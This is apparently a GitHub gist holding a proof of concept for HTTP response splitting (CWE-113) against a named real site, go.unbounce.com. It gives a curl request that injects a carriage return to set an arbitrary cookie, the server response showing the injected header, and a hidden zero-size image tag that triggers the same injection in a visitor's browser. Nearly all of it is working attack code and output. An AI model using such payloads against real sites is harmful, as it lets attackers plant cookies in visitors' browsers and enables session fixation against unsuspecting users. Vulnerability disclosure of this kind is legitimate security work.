Skip to content

Instantly share code, notes, and snippets.

@cedriczirtacic
Last active October 13, 2017 17:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cedriczirtacic/6ba8bef86521c73d8040 to your computer and use it in GitHub Desktop.
Save cedriczirtacic/6ba8bef86521c73d8040 to your computer and use it in GitHub Desktop.
Unbounce.com HTTP Response Splitting (CWE-113)
[cicatriz@localhost ~]$ curl -v 'http://go.unbounce.com/pricing/clkn/http/%0dSet-Cookie:%20xxx=test;%20path=/;%20xxx2=' -H 'Host: go.unbound.com' -H 'Accept: */*'
* About to connect() to go.unbounce.com port 80 (#0)
* Trying 54.225.243.45...
* connected
* Connected to go.unbounce.com (54.225.243.45) port 80 (#0)
> GET /pricing/clkn/http/%0dSet-Cookie:%20xxx=test;%20path=/;%20xxx2= HTTP/1.1
> User-Agent: curl/7.27.0
> Host: go.unbound.com
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=iso-8859-1
< Date: Wed, 02 Apr 2014 03:12:14 GMT
Set-Cookie: xxx=test; path=/; xxx2=/icing/clkn/http/
< Server: Apache
< Vary: Accept-Encoding
< Content-Length: 349
< Connection: keep-alive
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
Set-Cookie: xxx=test; path=/; xxx2=/">here</a>.</p>d.com/pricing/clkn/http/
<hr>
<address>Apache Server at go.unbound.com Port 80</address>
</body></html>
* Connection #0 to host go.unbounce.com left intact
* Closing connection #0
<html>
<body>
<img style="width:0px; height:0px;" src="http://go.unbounce.com/pricing/clkn/http/%0dSet-Cookie:%20zzz=PoC;path=/;yyy=" />
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment